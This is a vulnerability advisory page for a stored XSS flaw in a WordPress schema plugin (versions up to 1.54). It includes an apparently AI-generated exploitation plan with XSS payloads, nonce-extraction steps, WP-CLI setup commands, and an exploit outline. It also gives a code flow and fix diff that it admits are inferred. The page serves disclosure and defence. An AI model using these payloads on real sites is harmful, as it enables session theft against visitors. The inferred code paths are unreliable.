Schema & Structured Data for WP & AMP <= 1.54 - Authenticated (Contributor+) Stored Cross-Site Scripting via User Custom Schema
Description
The Schema & Structured Data for WP & AMP plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'saswp_custom_schema_field' profile field in all versions up to, and including, 1.54 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=1.54Source Code
WordPress.org SVNThis research plan outlines the exploitation of **CVE-2025-14069**, a Stored Cross-Site Scripting (XSS) vulnerability in the "Schema & Structured Data for WP & AMP" plugin. --- ### 1. Vulnerability Summary The **Schema & Structured Data for WP & AMP** plugin (versions <= 1.54) fails to sanitize an…
Show full research plan
This research plan outlines the exploitation of CVE-2025-14069, a Stored Cross-Site Scripting (XSS) vulnerability in the "Schema & Structured Data for WP & AMP" plugin.
1. Vulnerability Summary
The Schema & Structured Data for WP & AMP plugin (versions <= 1.54) fails to sanitize and escape a custom user profile field named saswp_custom_schema_field. Users with Contributor-level permissions or higher can modify their own profile and inject arbitrary HTML or JavaScript into this field. This payload is subsequently rendered on the frontend (likely in the author archive page or on posts authored by the user) without proper escaping, leading to Stored XSS.
2. Attack Vector Analysis
- Vulnerable Endpoint:
wp-admin/profile.php(standard WordPress profile update). - Vulnerable Parameter:
saswp_custom_schema_field. - Required Authentication: Contributor-level user or higher.
- Preconditions: The plugin must be active. The schema output for users/authors must be enabled (usually enabled by default in schema plugins to provide Author schema).
3. Code Flow (Inferred)
- Input: A Contributor user submits a POST request to
wp-admin/profile.phpcontaining thesaswp_custom_schema_fieldparameter. - Storage: The plugin listens to the
personal_options_updateoredit_user_profile_updatehooks. It retrieves the raw input from$_POST['saswp_custom_schema_field']and saves it usingupdate_user_meta($user_id, 'saswp_custom_schema_field', $value). - Sink: When a visitor views a post written by that Contributor or visits the Contributor's author archive page, the plugin calls
get_user_meta($author_id, 'saswp_custom_schema_field', true). - Execution: The retrieved meta value is echoed directly into the page (likely within the
<head>or footer as part of a JSON-LD block or raw HTML schema) without usingesc_html(),esc_attr(), orwp_kses().
4. Nonce Acquisition Strategy
Updating a user profile in WordPress requires the standard _wpnonce found on the profile.php page.
- Authentication: Log in as a Contributor user using the
authenticate_usertool. - Navigation: Use
browser_navigateto go tohttp://localhost:8080/wp-admin/profile.php. - Extraction: Use
browser_evalto extract the nonce from the hidden input field:browser_eval("document.querySelector('#_wpnonce').value") - Field Identification: Verify the presence of the
saswp_custom_schema_fieldinput/textarea on the profile page.
5. Exploitation Strategy
Step 1: Payload Preparation
Since schema is often placed inside <script type="application/ld+json"> blocks, the payload should first attempt to break out of the script tag or be a standalone tag if the field is rendered elsewhere.
- Primary Payload:
</script><script>alert(document.domain)</script> - Alternative (if rendered in HTML):
<img src=x onerror=alert(document.domain)>
Step 2: Inject the Payload
Send a POST request to profile.php to update the user meta.
- URL:
http://localhost:8080/wp-admin/profile.php - Method:
POST - Headers:
Content-Type: application/x-www-form-urlencoded - Body Parameters:
_wpnonce: (Extracted in Section 4)from:profilecheckuser_id: (The Contributor's User ID)saswp_custom_schema_field:</script><script>alert(document.domain)</script>action:updateuser_id: (The Contributor's User ID)
Step 3: Trigger the XSS
- Identify a post authored by the Contributor user.
- Navigate to that post's URL or the author's archive page (
/?author=ID) as an unauthenticated visitor. - Observe the HTML source for the injected
<script>tag.
6. Test Data Setup
- Plugin Activation: Ensure
schema-and-structured-data-for-wpis installed and active. - User Creation: Create a user with the
contributorrole.wp user create attacker attacker@example.com --role=contributor --user_pass=password - Content Creation: Create a post authored by the
attackeruser to ensure there is a frontend page to trigger the payload.wp post create --post_type=post --post_status=publish --post_author=$(wp user get attacker --field=ID) --post_title="Contributor Post"
7. Expected Results
- The POST request to
profile.phpshould return a302redirect back toprofile.php?updated=1. - The
wp_usermetatable should contain the payload for the specific user ID under the meta keysaswp_custom_schema_field. - The frontend post page source code should contain the raw string
</script><script>alert(document.domain)</script>.
8. Verification Steps
- Database Check:
Confirm the output matches the payload.wp user meta get $(wp user get attacker --field=ID) saswp_custom_schema_field - Frontend Check:
Usehttp_requestto fetch the post authored by the contributor and grep for the payload.# (Metaphorical grep) response.body.contains("</script><script>alert(document.domain)</script>")
9. Alternative Approaches
- Context Discovery: If the payload is rendered inside a JSON string within the JSON-LD, try a JSON-breaking payload:
"}]</script><script>alert(1)</script><script type="application/ld+json">[{ "a":" - Profile Page XSS: Check if the payload executes on the profile page itself after saving (Self-XSS which can be turned into a full XSS if an Admin edits the Contributor's profile). Navigate to
wp-admin/user-edit.php?user_id=[CONTRIBUTOR_ID]as an Admin to check for this.
Summary
The Schema & Structured Data for WP & AMP plugin for WordPress (versions <= 1.54) is vulnerable to Stored Cross-Site Scripting via the 'saswp_custom_schema_field' user profile field. Authenticated attackers with Contributor-level permissions or higher can inject malicious JavaScript into this field, which is subsequently rendered on the frontend without proper sanitization or escaping when visitors view the author's content.
Security Fix
@@ -... (inferred save context) ... -update_user_meta($user_id, 'saswp_custom_schema_field', $_POST['saswp_custom_schema_field']); +update_user_meta($user_id, 'saswp_custom_schema_field', wp_kses_post($_POST['saswp_custom_schema_field'])); @@ -... (inferred display context) ... -$custom_schema = get_user_meta($user_id, 'saswp_custom_schema_field', true); -echo $custom_schema; +$custom_schema = get_user_meta($user_id, 'saswp_custom_schema_field', true); +echo wp_kses_post($custom_schema);
Exploit Outline
1. Authenticate as a user with Contributor-level access or higher. 2. Navigate to the WordPress profile edit page (wp-admin/profile.php). 3. Locate the field corresponding to 'saswp_custom_schema_field' (User Custom Schema) and inject a script-breaking payload, such as: </script><script>alert(document.domain)</script>. 4. Submit the profile update to store the payload in the user's meta. 5. Navigate to a post authored by the attacker or the attacker's author archive page (e.g., /?author=ID). 6. The script will execute in the browser because the plugin retrieves the 'saswp_custom_schema_field' value and echoes it directly into the page source without sanitization or HTML escaping.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.